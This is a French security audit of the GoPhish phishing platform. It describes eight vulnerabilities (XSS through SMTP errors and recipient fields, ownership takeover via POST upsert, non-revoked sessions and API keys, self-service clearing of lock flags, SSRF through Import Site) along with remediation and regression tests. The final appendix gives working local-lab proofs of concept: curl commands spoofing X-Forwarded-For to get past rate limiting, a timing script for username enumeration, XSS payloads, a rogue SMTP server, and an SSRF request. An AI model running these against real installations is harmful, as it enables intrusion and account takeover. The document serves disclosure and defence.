Scénario illustratif — le responsable de l'incident devient la cible. Une campagne se met à renvoyer des échecs d'envoi. Un administrateur fait ce pour quoi le produit est conçu : il ouvre la chronologie de la campagne, déplie un événement en échec et lit l'erreur pour comprendre le problème. À ce moment-là, une valeur fournie par l'infrastructure de messagerie est insérée dans le DOM sous forme de HTML. Le workflow défensif — investiguer les échecs de messagerie — devient le déclencheur d'une exécution côté navigateur dans la console d'administration. Le chemin réfléchi comporte le même risque plus tôt dans le workflow, lorsqu'un opérateur teste un profil d'envoi avant de lancer une campagne.

Priorité d'ingénierie : conserver les erreurs comme du texte avec textContent, la méthode jQuery .text() ou une fonction d'échappement HTML cohérente ; ne jamais concaténer des chaînes d'erreur dans du HTML ; et retirer du JavaScript rendu par le navigateur les secrets de longue durée.

Test de non-régression à conserver : injecter du texte ressemblant à du balisage dans un échec SMTP simulé et tester à la fois le moteur de rendu des résultats de campagne et celui des erreurs d'e-mail de test dans un test au niveau du navigateur. L'assertion doit être structurelle : l'interface affiche un nœud de texte, aucun élément n'est créé à partir de l'erreur, et aucun gestionnaire d'événement en ligne ni attribut d'URL n'est interprété.

5. Les endpoints de création se comportent comme des endpoints de mise à jour entre utilisateurs

L'audit a identifié un motif dans lequel les gestionnaires de création de ressources acceptent un corps JSON contenant un id, y apposent le UserId du demandeur, puis appellent des fonctions de modèle qui persistent via Save de GORM. Pour un ID non nul, Save effectue une mise à jour plutôt qu'une insertion.

// controllers/api/template.go — POST path
t.UserId = ctx.Get(r, "user_id").(int64)
err = models.PostTemplate(&t)

// models/template.go
err := db.Save(t).Error

Cela affecte les chemins de création des groupes, des modèles d'e-mail, des pages de destination et des profils SMTP. Un utilisateur qui peut fournir l'ID connu d'une ressource d'un autre utilisateur peut provoquer la réaffectation ou l'écrasement d'un enregistrement. Pour les groupes, les associations de cibles conservées rendent la conséquence plus grave : après le transfert de propriété, l'attaquant peut lire le groupe et les cibles qui lui sont déjà liées.

La même conclusion ne doit pas être généralisée à l'excès. Pour les modèles, les pages et les profils SMTP, le problème central démontré est le transfert de propriété non autorisé et la modification destructive. Connaître un ID ne suffit pas nécessairement à divulguer les valeurs sensibles de l'ancien enregistrement avant la mise à jour.

C'est pourquoi appeler ce problème simplement « IDOR » est trop restrictif. Le problème de conception sous-jacent est une sémantique de persistance ambiguë : une requête routée comme une création peut quand même modifier un objet existant. Les opérations de lecture et de suppression incluent correctement des conditions de propriété dans plusieurs requêtes du modèle, mais le chemin POST vers Save crée une voie distincte qui contourne cette frontière de propriété.

Scénario illustratif — une ressource change de mains en silence. Deux utilisateurs partagent la même installation GoPhish mais ne devraient pas partager les données de campagne. L'un crée un groupe de cibles sensible pour un exercice interne. Un autre utilisateur authentifié soumet ce que l'application appelle une requête de création, mais la requête porte un identifiant de ressource existant. La couche de persistance traite la clé primaire non nulle comme une mise à jour et applique la propriété du second utilisateur. L'utilisateur d'origine se voit alors refuser l'accès par la requête normale limitée au propriétaire. Pour les groupes, les associations de cibles existantes rendent la défaillance particulièrement lourde de conséquences ; pour les autres types de ressources, la prise de contrôle non autorisée et la perturbation restent l'impact confirmé.

Preuve assainie d'Agentic Deep Scan sur le contrôle d'accès

Figure 5 : preuve assainie d'Agentic Deep Scan pour le chemin de prise de contrôle de ressources entre utilisateurs. Les noms de compte, les données de destinataires, les clés d'API et les détails d'endpoint sont synthétiques.

L'enseignement de conception important est que l'autorisation ne peut pas être réparée en ajoutant des vérifications uniquement aux gestionnaires GET. Un modèle de données peut être parfaitement cloisonné en lecture et pourtant être compromis lorsqu'un chemin d'écriture accepte un identifiant appartenant au serveur et change le propriétaire avant la persistance.

Priorité d'ingénierie : distinguer les opérations de création et de mise à jour. Rejeter les ID fournis par le client sur POST ; utiliser des opérations d'insertion explicites ; cloisonner chaque mise à jour et chaque lecture à la fois par ID de ressource et par propriétaire ; et ajouter des tests à deux utilisateurs pour chaque type de ressource.

Test de non-régression à conserver : pour chacun des groupes, modèles, pages et profils SMTP, créer un objet en tant qu'utilisateur A ; soumettre un POST en tant qu'utilisateur B incluant l'identifiant de cet objet ; vérifier que la requête est rejetée et que le propriétaire stocké, le contenu et les enregistrements associés restent inchangés. Ce test doit s'exécuter sur la véritable couche de persistance, car le comportement de Save est au cœur du problème.

6. La déconnexion et le changement de mot de passe ne révoquent pas tous les identifiants bearer

GoPhish utilise une session par cookie signé et chiffré, d'une durée de vie maximale de cinq jours. Les clés sont générées au démarrage du processus :

var Store = sessions.NewCookieStore(
    []byte(securecookie.GenerateRandomKey(64)),
    []byte(securecookie.GenerateRandomKey(32)))
Store.MaxAge(86400 * 5)

L'implémentation de la déconnexion modifie le cookie courant, au lieu d'invalider les identifiants côté serveur :

// controllers/route.go
session := ctx.Get(r, "session").(*sessions.Session)
delete(session.Values, "id")
session.Save(r, w)

La déconnexion efface l'identifiant de session dans le cookie nouvellement émis, mais la conception ne comporte ni registre de sessions côté serveur ni liste de révocation. Un cookie précédemment capturé et toujours valide peut rester utilisable jusqu'à son expiration. Le changement de mot de passe ne fait pas non plus tourner automatiquement les clés d'API. Les clés d'API sont des identifiants bearer adossés à la base de données ; redémarrer le processus invalide donc les signatures de cookie mais ne fait pas tourner les clés d'API — une correction importante apportée au rapport initial.

RequireAPIKey récupère un utilisateur à partir de la clé d'API et le place dans le contexte de la requête sans évaluer AccountLocked ni PasswordChangeRequired. Cela signifie qu'une clé d'API toujours valide peut conserver son accès à l'API même lorsque l'état de connexion web a changé.

Événement de compte	Comportement de la session par cookie	Comportement de la clé d'API	Propriété de sécurité souhaitée
Déconnexion	Le navigateur courant est vidé ; le cookie valide antérieur n'est pas révoqué côté serveur	Inchangé	Révoquer tous les identifiants actifs du périmètre visé.
Changement de mot de passe	Le cookie existant n'est pas nécessairement invalidé avant son expiration	Inchangé	Faire tourner ou invalider les sessions et les clés d'API.
Verrouillage du compte / changement forcé	Une nouvelle connexion interactive est rejetée lorsque le compte est verrouillé, mais une session par cookie existante n'est pas rejetée ; l'état de changement de mot de passe est appliqué aux requêtes web	Le middleware d'API ne valide que la clé	Appliquer le même état de compte à chaque interface et à chaque identifiant authentifiés.

C'est une défaillance du cycle de vie, et pas seulement un bug de définition de cookie. Si une organisation utilise le verrouillage de compte, la rotation forcée des mots de passe ou le départ d'un collaborateur comme contrôles, l'API ne peut pas rester un système d'identité distinct et moins restrictif.

Scénario illustratif — un contrôle de départ qui laisse la porte ouverte. Une équipe détecte une activité suspecte, verrouille un compte, réinitialise son mot de passe et demande à l'utilisateur concerné de se déconnecter. Du point de vue de l'opérateur, la session du navigateur peut sembler réglée, mais une clé d'API copiée plus tôt dans un script d'automatisation correspond toujours au compte. Comme le middleware d'API valide la clé bearer sans appliquer les mêmes vérifications d'état de compte, le script continue d'accéder aux fonctionnalités de l'API. Le risque n'est pas seulement une persistance malveillante : il rend aussi la réponse à incident confuse, une interface indiquant qu'un compte est désactivé alors qu'une autre continue de l'accepter.

Priorité d'ingénierie : passer à des sessions côté serveur ou versionnées, faire tourner/révoquer les sessions et les clés d'API lors de la déconnexion, de la réinitialisation du mot de passe, du verrouillage et des changements de privilèges, et appliquer les vérifications d'état de compte dans le middleware de clé d'API.

Test de non-régression à conserver : émettre une session par cookie et une clé d'API, puis effectuer séparément une déconnexion, un changement de mot de passe, un verrouillage de compte et un changement de rôle. Vérifier à chaque fois le résultat attendu pour les deux interfaces. Les transitions d'état sensibles pour la sécurité méritent la même couverture de tests que la connexion elle-même.

7. L'API de mise à jour des utilisateurs accepte des champs de contrôle administratifs

Un utilisateur non système disposant d'une clé d'API valide peut effacer ses propres indicateurs PasswordChangeRequired et AccountLocked. Cela lui permet de désactiver un contrôle de changement de mot de passe forcé ou de verrouillage de compte qu'un administrateur voulait faire appliquer.

Le endpoint de mise à jour accepte ces champs de politique dans la même représentation de requête que celle utilisée pour les modifications en libre-service, puis les copie directement dans l'utilisateur stocké :

existingUser.PasswordChangeRequired = ur.PasswordChangeRequired
// ... password update omitted ...
existingUser.AccountLocked = ur.AccountLocked
err = models.PutUser(&existingUser)

Les changements de rôle bénéficient d'une protection liée au rôle système, mais pas ces deux champs de contrôle de compte. La cause racine est un seul type de requête large qui sert deux autorités : la gestion des comptes par l'administrateur et les mises à jour de profil en libre-service.

Scénario illustratif — l'indicateur de politique qui n'est plus une politique. Une organisation exige qu'un utilisateur change un mot de passe temporaire avant de poursuivre son travail. Le compte est correctement marqué par un administrateur. Mais ce même utilisateur peut envoyer une représentation d'auto-mise à jour contenant l'état qui supprime cette exigence, car l'API traite le champ comme une donnée de profil ordinaire. Le résultat est subtil : il n'y a pas d'élévation de rôle spectaculaire, mais un contrôle établi par l'équipe de sécurité ou d'exploitation peut être désactivé par le sujet qu'il était censé contraindre.

Priorité d'ingénierie : utiliser des types de requête distincts pour les modifications de profil en libre-service et la gestion des comptes par l'administrateur. Appliquer une autorisation au niveau des champs, refuser les écritures en libre-service sur les indicateurs de verrouillage et de changement de mot de passe, et tester les cas négatifs pour chaque champ sensible.

Test de non-régression à conserver : s'authentifier en tant qu'utilisateur non système et tenter de mettre à jour chaque champ qui affecte l'état de verrouillage, la politique d'identifiants, le rôle ou le cycle de vie du compte. Le résultat attendu n'est pas simplement « la mise à jour échoue » ; c'est que le compte persisté reste exactement inchangé pour ces champs.

8. Le dialer d'import de site applique par défaut une liste de refus étroite

POST /api/import/site récupère une URL fournie par l'utilisateur via un dialer restreint. Son rôle ne se limite pas à valider une URL pour le navigateur : GoPhish instancie un transport HTTP, effectue la requête côté serveur, analyse la réponse comme du HTML et renvoie le contenu de la page obtenue à l'appelant authentifié. La restriction est bien réelle, mais sa politique par défaut ne refuse que la plage link-local des métadonnées :

var defaultDeny = []string{
    "169.254.0.0/16",
}

denyList := defaultDeny
if len(allowed) > 0 {
    denyList = allInternal
}

La liste allInternal, plus complète, inclut le loopback, la RFC1918 et d'autres plages non publiques, mais elle n'est activée que lorsque allowed_internal_hosts est configuré. Dans la configuration par défaut, les destinations du réseau privé restent donc accessibles via la fonctionnalité d'import, sous réserve du routage réseau et de la disponibilité des services.

Ce comportement de configuration est particulièrement facile à manquer en revue : la politique complète des adresses internes existe dans la base de code, ce qui peut donner un faux sentiment de couverture, mais elle n'est sélectionnée qu'après la configuration d'une liste d'autorisation. Autrement dit, une fonctionnalité destinée à exprimer une exception modifie le modèle de sécurité de référence. Le comportement par défaut doit être jugé sur la liste de refus par défaut, et non sur la liste la plus restrictive présente dans le dépôt.

Scénario illustratif — la fonctionnalité de clonage devient un client du réseau interne. Un opérateur utilise Import Site pour accélérer la création d'une page de destination. La fonctionnalité reçoit une URL, crée un client HTTP avec le dialer restreint, récupère la page et renvoie le HTML à l'appelant authentifié. Dans une installation par défaut, le dialer bloque les adresses link-local des métadonnées cloud mais n'applique pas la politique plus large sur les adresses privées. Si l'environnement d'exécution peut router vers un service interne, la fonctionnalité peut faire parler à ce service le serveur GoPhish — et non le navigateur de l'opérateur. C'est exactement la catégorie de risque que les contrôles anti-SSRF sont conçus pour prévenir.

Preuve assainie d'Agentic Deep Scan sur Import Site

Figure 6 : preuve assainie d'Agentic Deep Scan pour le chemin Import Site. Les identifiants, les détails d'hôte et les valeurs de réponse ont été remplacés par des valeurs de test locales synthétiques.

Le scénario ne suppose pas qu'un service interne particulier soit accessible ni qu'une réponse soit utile. Il explique pourquoi l'application doit prendre la décision de sécurité avant que la topologie réseau n'entre en jeu : la connectivité d'exécution évolue avec le temps, et une politique d'URL sûre ne peut pas reposer sur l'absence actuelle d'une cible attrayante.

Priorité d'ingénierie : faire de la liste complète des plages non publiques la politique de refus par défaut, puis utiliser une liste d'autorisation explicite pour le clonage interne légitime. Décider et documenter si l'IPv6 public est pris en charge : la liste allInternal examinée contient ::/0, qui bloque tout l'IPv6 et pas seulement les plages IPv6 locales. Valider les schémas, conserver la politique de destination pour chaque redirection et chaque connexion, renvoyer des échecs de récupération génériques, rétablir la vérification des certificats TLS et limiter les sorties réseau de l'environnement d'exécution GoPhish au niveau de la couche réseau.

Test de non-régression à conserver : exécuter le chemin d'import avec des hôtes de test représentatifs : publics, loopback, RFC1918, link-local, IPv6 local, avec redirection et avec DNS rebinding. La configuration par défaut — et pas seulement la configuration avec liste d'autorisation activée — doit refuser toute destination non publique.

Annexe de validation locale : PoC et remédiation

Les procédures suivantes reproduisent le comportement validé dans un laboratoire isolé exécutant la dernière version de GoPhish. Elles utilisent volontairement 127.0.0.1, des comptes synthétiques, un payload alert() inoffensif, ainsi que des services SMTP et HTTP réservés aux tests. Ne remplacez ni l'hôte ni les identités d'exemple par des systèmes, des données ou des comptes situés en dehors d'un environnement autorisé.

Mise en place commune du laboratoire

Exécutez GoPhish avec la configuration par défaut fournie, qui écoute sur https://127.0.0.1:3333. Créez deux utilisateurs d'API ordinaires, lab-owner et lab-user, puis notez leurs clés d'API sous les noms OWNER_KEY et USER_KEY. Les exemples ci-dessous utilisent ces variables shell :

export GOPHISH_URL='https://127.0.0.1:3333'
export OWNER_KEY='replace-with-lab-owner-key'
export USER_KEY='replace-with-lab-user-key'

Le certificat de développement est auto-signé ; les commandes locales utilisent donc -k. Ne reportez pas ce paramètre TLS dans un workflow de production.

1. Contournement de la limitation de débit par falsification de l'adresse transmise

Commencez par effectuer six tentatives de connexion invalides avec une seule session et sans en-têtes de transfert. La sixième requête est limitée en débit dans la configuration locale à accès direct :

curl -ksc cookies.txt "$GOPHISH_URL/login" -o login.html
CSRF_TOKEN=$(sed -n 's/.*name="csrf_token" value="\([^"]*\)".*/\1/p' login.html | head -n 1)

for n in 1 2 3 4 5 6; do
  curl -ks -o /dev/null -w "attempt $n: %{http_code}\n" \
    -b cookies.txt -c cookies.txt \
    -H "Origin: $GOPHISH_URL" \
    -H "Referer: $GOPHISH_URL/login" \
    --data-urlencode 'username=does-not-exist' \
    --data-urlencode 'password=not-the-password' \
    --data-urlencode "csrf_token=$CSRF_TOKEN" \
    "$GOPHISH_URL/login"
done

Répétez les six tentatives dans le laboratoire isolé en changeant l'adresse transmise. Le comportement vulnérable attendu est que chaque réponse reste une réponse de connexion invalide au lieu de devenir 429 :

for n in 1 2 3 4 5 6; do
  curl -ks -o /dev/null -w "attempt $n: %{http_code}\n" \
    -b cookies.txt -c cookies.txt \
    -H "Origin: $GOPHISH_URL" \
    -H "Referer: $GOPHISH_URL/login" \
    -H "X-Forwarded-For: 198.51.100.$n" \
    -H "X-Real-IP: 198.51.100.$n" \
    --data-urlencode 'username=does-not-exist' \
    --data-urlencode 'password=not-the-password' \
    --data-urlencode "csrf_token=$CSRF_TOKEN" \
    "$GOPHISH_URL/login"
done

Remédiation. Supprimez en périphérie les en-têtes de transfert fournis par le client, liez l'écouteur d'administration à une interface privée lorsque c'est possible, et n'appliquez la normalisation des en-têtes de proxy qu'après avoir vérifié que le pair TCP est un reverse proxy explicitement configuré. Appliquez une limitation de débit indépendante en périphérie comme second contrôle. Le test de non-régression doit exercer à la fois le chemin proxy prévu et une tentative de chemin direct.

2. Énumération de noms d'utilisateur via un travail d'authentification asymétrique

La vérification locale compare un utilisateur de test connu à un nom inconnu synthétique. Exécutez plusieurs échantillons depuis le même environnement à faible latence, puis comparez les médianes au lieu de considérer une seule réponse comme une preuve :

# timing_poc.py -- run only against the local lab
import html
import itertools
import statistics
import time
import requests

BASE = "https://127.0.0.1:3333/login"
SAMPLES = 20
USERS = ["lab-owner", "not-a-real-user"]
ip_suffixes = itertools.count(10)

def csrf(session):
    response = session.get(BASE, verify=False, timeout=10)
    marker = 'name="csrf_token" value="'
    start = response.text.index(marker) + len(marker)
    end = response.text.index('"', start)
    return html.unescape(response.text[start:end])

def measure(username):
    values = []
    for _ in range(SAMPLES):
        session = requests.Session()
        spoofed_ip = f"198.51.100.{next(ip_suffixes)}"
        token = csrf(session)
        started = time.perf_counter()
        response = session.post(
            BASE,
            data={
                "username": username,
                "password": "not-the-password",
                "csrf_token": token,
            },
            headers={
                "Origin": "https://127.0.0.1:3333",
                "Referer": BASE,
                "X-Forwarded-For": spoofed_ip,
                "X-Real-IP": spoofed_ip,
            },
            verify=False,
            timeout=10,
        )
        assert response.status_code == 401
        values.append(time.perf_counter() - started)
    return statistics.median(values), values

for user in USERS:
    median, values = measure(user)
    print(f"{user:16} median={median:.4f}s samples={values}")

Dans l'environnement de validation, la branche de l'utilisateur connu occupait systématiquement le groupe le plus lent, car elle atteignait la validation du hachage du mot de passe alors que la branche de l'utilisateur inconnu répondait après la recherche en base de données. Considérez un résultat temporel obtenu sur Internet comme non concluant, sauf si des mesures répétées tiennent compte du bruit réseau.

Remédiation. Exécutez toujours une comparaison de hachage de mot de passe, y compris pour les utilisateurs inconnus, en utilisant un hachage bcrypt factice fixe. Utilisez ensuite un plancher de réponse commun mesuré depuis le début du gestionnaire de connexion, afin que les différences de recherche et de rendu ne créent pas d'oracle fiable. Maintenez des messages, des codes d'état, des redirections et un comportement de limitation de débit identiques. Un benchmark de non-régression doit vérifier que la comparaison de hachage est atteinte dans les deux branches et alerter si les distributions deviennent significativement séparables.

3. XSS stocké via les champs de destinataires importés

Créez un groupe synthétique via l'API locale avec un payload HTML inoffensif. La réponse montre que la valeur est acceptée comme donnée de destinataire :

curl -ksS -X POST "$GOPHISH_URL/api/groups/" \
  -H "Authorization: Bearer $OWNER_KEY" \
  -H 'Content-Type: application/json' \
  --data '{
    "name": "lab-csv-template-xss",
    "targets": [{
      "email": "recipient@example.test",
      "first_name": "<img src=x onerror=alert(\"recipient-field\")>",
      "last_name": "Lab",
      "position": "Test"
    }]
  }'

Dans l'interface, la procédure équivalente consiste à importer en masse la même valeur dans First Name, à créer une page de destination contenant {{.FirstName}}, à créer une campagne utilisant ce groupe et cette page, puis à ouvrir le lien généré dans un profil de navigateur local jetable. Le résultat vulnérable attendu est une boîte de dialogue alert("recipient-field") dans l'origine de la page de destination de phishing. Ce n'est pas un contexte d'exécution du panneau d'administration.

Remédiation. Faites du contexte de sortie le contrôle principal : rendez le HTML des pages de destination avec html/template, utilisez un moteur de rendu distinct pour le texte brut, validez les valeurs utilisées dans les URL et les en-têtes, et ne marquez comme HTML de confiance que les fragments générés par le système. La fonction de modèle partagée ne peut pas être remplacée sans précaution, car elle traite aussi les corps d'e-mail, les URL, les en-têtes et les pièces jointes. L'analyse ou la normalisation de l'entrée CSV peut apporter une défense en profondeur, mais elle ne doit pas remplacer l'encodage contextuel au point d'injection. Testez chaque champ de destinataire pris en charge dans les contextes de texte HTML, d'attribut, d'URL et sensibles à JavaScript.

4. XSS stocké et réfléchi via les erreurs SMTP

Cet écouteur SMTP local renvoie un payload de preuve bénin sur RCPT TO :

# rogue_smtp.py -- local validation only
import socket

HOST, PORT = "127.0.0.1", 2525
PAYLOAD = b"554 <img src=x onerror=alert('smtp-error')>\r\n"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((HOST, PORT))
    server.listen(1)
    connection, _ = server.accept()
    with connection:
        connection.sendall(b"220 local test SMTP\r\n")
        while (data := connection.recv(1024)):
            command = data.decode("utf-8", errors="ignore").strip().upper()
            if command.startswith(("EHLO", "HELO")):
                connection.sendall(b"250 local test\r\n")
            elif command.startswith("MAIL FROM"):
                connection.sendall(b"250 OK\r\n")
            elif command.startswith("RCPT TO"):
                connection.sendall(PAYLOAD)
                break
            else:
                connection.sendall(b"250 OK\r\n")

Démarrez l'écouteur, configurez un profil d'envoi (Sending Profile) réservé au local pour 127.0.0.1:2525, puis effectuez les deux validations :

Lancez une campagne de test, ouvrez ses résultats, dépliez un destinataire en échec et inspectez l'événement Error Sending Email. Le chemin stocké affiche l'erreur SMTP dans la chronologie de la campagne.
Dans Campaigns → New Campaign, sélectionnez le même profil et utilisez Send Test Email. Le chemin réfléchi affiche l'erreur SMTP renvoyée dans la fenêtre modale.

L'interface d'e-mail de test des Sending Profiles constitue un bon contrôle négatif : elle applique déjà escapeHtml() et devrait afficher le payload comme du texte au lieu de l'exécuter.

Remédiation. Traitez toutes les erreurs SMTP comme du texte. Utilisez textContent, la méthode jQuery .text() ou une fonction d'échappement appliquée de façon cohérente à chaque point d'injection du DOM ; ne concaténez jamais le texte d'une erreur de protocole dans du HTML. Appliquez la même règle aux gestionnaires d'erreurs du lancement, de la copie et de l'e-mail de test de campagne. Échapper avant la persistance est une défense en profondeur utile, mais ne remplace pas un rendu sûr. Retirez des variables globales du navigateur les identifiants d'API de longue durée, et utilisez des tests au niveau du navigateur pour vérifier qu'une erreur SMTP ressemblant à du balisage devient un seul nœud de texte et ne crée aucun élément exécutable.

5. Prise de contrôle entre utilisateurs par upsert sur l'endpoint de création

Créez un groupe en tant que lab-owner, enregistrez l'id numérique renvoyé sous GROUP_ID, puis soumettez en tant que lab-user une requête de création portant cet identifiant :

GROUP_ID=6 # replace with the id of a synthetic lab-owner group

curl -ksS -X POST "$GOPHISH_URL/api/groups/" \
  -H "Authorization: Bearer $USER_KEY" \
  -H 'Content-Type: application/json' \
  --data "{
    \"id\": $GROUP_ID,
    \"name\": \"lab-taken-over-group\",
    \"targets\": []
  }"

curl -ksS "$GOPHISH_URL/api/groups/$GROUP_ID" \
  -H "Authorization: Bearer $OWNER_KEY"

Le résultat vulnérable est une réponse de création réussie pour lab-user et un 404 pour l'ancien propriétaire. Répétez le même test à deux utilisateurs pour POST /api/templates/, POST /api/pages/ et POST /api/smtp/, en utilisant des corps synthétiques valides pour chaque ressource. Pour les groupes, vérifiez aussi que les cibles synthétiques précédemment associées restent lisibles après le changement de propriétaire.

Remédiation. Rendez les opérations de création et de mise à jour structurellement distinctes. Rejetez les ID fournis par le client sur chaque gestionnaire POST et utilisez une sémantique d'insertion explicite (db.Create) dans la couche de modèle. Conservez des prédicats limités au propriétaire sur les lectures, les mises à jour et les suppressions ; une vérification du propriétaire uniquement sur GET ne protège pas une écriture non cloisonnée. La suite de non-régression doit couvrir chaque ressource affectée avec deux utilisateurs et vérifier qu'un POST contenant l'ID d'un autre utilisateur ne modifie ni le propriétaire, ni le contenu, ni les associations.

6. Persistance de la session et de la clé d'API après des événements de compte

Utilisez un navigateur local ou un proxy pour enregistrer un cookie de session gophish valide. Validez ensuite les trois cas de cycle de vie :

Déconnectez-vous dans le navigateur, rejouez le cookie antérieur à la déconnexion dans une requête vers /, et constatez que le tableau de bord reste accessible au lieu de rediriger vers /login.
Enregistrez un cookie valide, changez le mot de passe du compte via Settings, puis rejouez le cookie antérieur au changement sur / et constatez qu'il reste accepté.
Notez la clé d'API du compte, changez le mot de passe via Settings ou le flux de réinitialisation forcée, puis demandez une ressource d'API inoffensive avec l'ancienne clé. L'ancienne clé reste acceptée, car le changement de mot de passe ne la fait pas tourner.

Par exemple, un cookie local enregistré peut être rejoué avec :

curl -ksS -i "$GOPHISH_URL/" \
  -H 'Cookie: gophish=replace-with-a-saved-lab-cookie'

Remédiation. Remplacez la conception sans état reposant uniquement sur le cookie par des sessions côté serveur ou par une version de session par utilisateur vérifiée à chaque requête. Révoquez ou faites tourner les sessions et les clés d'API lors de la déconnexion, de la réinitialisation du mot de passe, du verrouillage du compte, du changement de rôle et du départ d'un collaborateur. Appliquez AccountLocked et PasswordChangeRequired dans les middlewares de session et de clé d'API. Effacer le seul cookie du navigateur courant ne peut pas révoquer un cookie sans état copié ; redémarrer le service invalide les signatures de cookie mais ne fait pas tourner les clés d'API adossées à la base de données.

7. Modification en libre-service des champs de contrôle du compte

En tant qu'utilisateur local ordinaire, appelez l'endpoint d'auto-mise à jour avec le nom d'utilisateur et le rôle actuels, mais en effaçant les champs de politique administrative :

curl -ksS -X PUT "$GOPHISH_URL/api/users/2" \
  -H "Authorization: Bearer $USER_KEY" \
  -H 'Content-Type: application/json' \
  --data '{
    "username": "lab-user",
    "role": "user",
    "password_change_required": false,
    "account_locked": false
  }'

Utilisez l'ID, le nom d'utilisateur et le rôle de l'utilisateur synthétique créé pour le laboratoire. Faites d'abord définir les deux champs à true par un administrateur ; vérifiez ensuite la réponse et l'état du compte stocké après l'auto-mise à jour. Le résultat vulnérable est que les deux indicateurs passent à false sans permission de niveau système.

Remédiation. Utilisez des types de requête distincts pour les modifications de profil en libre-service et la gestion administrative des comptes. Au minimum, conditionnez les deux affectations à la même vérification de permission hasSystem que celle déjà utilisée pour les changements de rôle :

if hasSystem {
    existingUser.PasswordChangeRequired = ur.PasswordChangeRequired
    existingUser.AccountLocked = ur.AccountLocked
}

La meilleure conception à long terme omet entièrement ces champs du type de requête en libre-service. Ajoutez des tests négatifs pour chaque champ d'état de compte, de politique d'identifiants et de rôle, et vérifiez que les valeurs persistées restent inchangées.

8. Import Site atteignant par défaut une destination privée

Exécutez un serveur HTTP jetable sur la machine locale, puis demandez à l'instance GoPhish locale de l'importer :

python3 -m http.server 8080 --bind 127.0.0.1

curl -ksS -X POST "$GOPHISH_URL/api/import/site" \
  -H "Authorization: Bearer $USER_KEY" \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:8080/",
    "include_resources": false
  }'

Le comportement par défaut vulnérable est une réponse réussie dont le champ html contient la page du serveur local. Le même laboratoire permet de comparer un écouteur sur une adresse RFC1918, la plage link-local des métadonnées, des redirections et des adresses IPv6. Le but n'est pas un service interne particulier ; c'est que le serveur, et non le navigateur de l'appelant, établit la connexion.

Remédiation. Partez par défaut de la liste complète de refus des plages non publiques et traitez les hôtes internes configurés comme des exceptions étroitement délimitées. Validez les schémas http et https, renvoyez une erreur de récupération générique plutôt que les erreurs brutes de connexion, rétablissez la vérification des certificats TLS, et soit désactivez les redirections, soit réappliquez la validation de la destination à chaque redirection. Limitez Import Site aux utilisateurs disposant de la permission appropriée, et appliquez une politique de sortie réseau au niveau de la couche réseau. Les tests doivent couvrir les hôtes publics, le loopback, la RFC1918, le link-local, le multicast, les plages réservées, l'IPv6, les redirections et les changements de DNS entre les connexions.

Liste de contrôle de remédiation orientée implémentation

Les huit résultats partagent un petit ensemble de changements d'implémentation durables :

Résultat	Changement de code et de configuration	Preuve de non-régression requise
Limitation de débit	Ne faire confiance aux en-têtes de transfert que depuis des CIDR de proxy configurés ; les supprimer ailleurs ; limiter aussi le débit en périphérie.	Des en-têtes falsifiés ne peuvent pas créer de nouveaux compartiments via l'ingress prévu ; l'accès direct à l'administration est indisponible ou les ignore.
Temporisation	Effectuer une comparaison de hachage factice fixe pour les utilisateurs inconnus et appliquer un plancher de réponse commun.	Les deux chemins invoquent bcrypt ; les distributions du benchmark, le statut, le corps et la redirection sont équivalents.
XSS des destinataires	Séparer le rendu des modèles HTML, texte, URL, en-têtes et pièces jointes par contexte ; appliquer l'échappement HTML automatique aux données des destinataires.	Chaque champ de destinataire est rendu comme du texte dans chaque contexte HTML ; le balisage du tracker système ne fonctionne que via un type de confiance explicite.
XSS SMTP	Utiliser une insertion DOM en texte seul pour chaque erreur d'API et de SMTP ; retirer les clés d'API des variables globales du navigateur.	Les erreurs SMTP simulées, stockées et réfléchies, ne créent aucun élément DOM ni gestionnaire d'événement.
Upsert de création	Rejeter les ID dans les gestionnaires POST et utiliser `Create` pour la création ; cloisonner toutes les écritures par propriétaire.	Un second utilisateur ne peut pas modifier le propriétaire, le contenu ou les associations de groupe d'un objet avec un POST.
Cycle de vie des identifiants	Utiliser des sessions côté serveur/versionnées ; révoquer les sessions et les clés d'API lors des événements de sécurité ; vérifier l'état du compte à chaque frontière.	La déconnexion, le changement de mot de passe, le verrouillage, la réinitialisation, le changement de rôle et le départ refusent à la fois les anciens cookies et les anciennes clés d'API.
Champs du compte	Utiliser des DTO distincts pour le libre-service et l'administration ; n'autoriser que les utilisateurs système à modifier les champs de politique.	Un utilisateur non système ne peut modifier ni l'état de verrouillage, ni l'état de changement forcé, ni le rôle.
Import Site	Refuser par défaut les destinations non publiques ; réduire les exceptions ; valider les schémas, le TLS, les redirections et les sorties réseau.	La configuration par défaut rejette toute cible de test non publique et ne révèle pas d'erreurs réseau brutes.

Ensemble, les résultats sont plus dangereux que séparément

Les revues de sécurité présentent souvent les vulnérabilités comme des lignes isolées dans un tableur. Les environnements réels ne se comportent pas ainsi. Le risque le plus significatif ici tient à la façon dont une frontière faible peut accroître la valeur d'une autre :

Un administrateur qui investigue un échec d'envoi SMTP peut rencontrer un point d'injection XSS côté navigateur dans la même console qui expose de puissantes opérations de campagne et d'API.
Un identifiant d'API de longue durée a un impact plus grand lorsque l'état de verrouillage du compte ou de changement de mot de passe ne contraint pas le middleware d'API de manière cohérente.
La prise de contrôle de ressources est plus dommageable sur une plateforme qui stocke des listes de cibles, des pages de destination et des profils de messagerie comme des objets opérationnels appartenant aux utilisateurs.
Une fonctionnalité d'import aux restrictions réseau faibles par défaut peut être accessible à un utilisateur authentifié dont les privilèges étaient censés être limités ailleurs.

Il ne s'agit pas d'affirmer l'existence d'une chaîne d'exploitation automatique unique. C'est la raison pour laquelle la remédiation doit être coordonnée. Corriger un moteur de rendu tout en laissant le cycle de vie des identifiants ambigu — ou corriger un endpoint POST tout en laissant intact le motif de persistance — réduit les symptômes sans restaurer le modèle de confiance.

Un programme de remédiation concret

La façon la plus rapide de perdre son élan après une revue approfondie est de créer huit tickets sans critères d'acceptation communs. Les chemins de code examinés ici suggèrent un ordre de travail plus efficace.

Phase	Objectif	Résultat d'ingénierie concret	Preuve d'achèvement
Contenir	Supprimer le risque le plus direct entre utilisateurs et pour le navigateur d'administration	Encoder chaque erreur SMTP/API aux points d'injection du DOM ; forcer les opérations de création à insérer ; rejeter les ID appartenant au client sur POST	Les tests navigateur prouvent que les erreurs sont rendues comme du texte ; les tests de persistance à deux utilisateurs prouvent l'absence de changement de propriétaire.
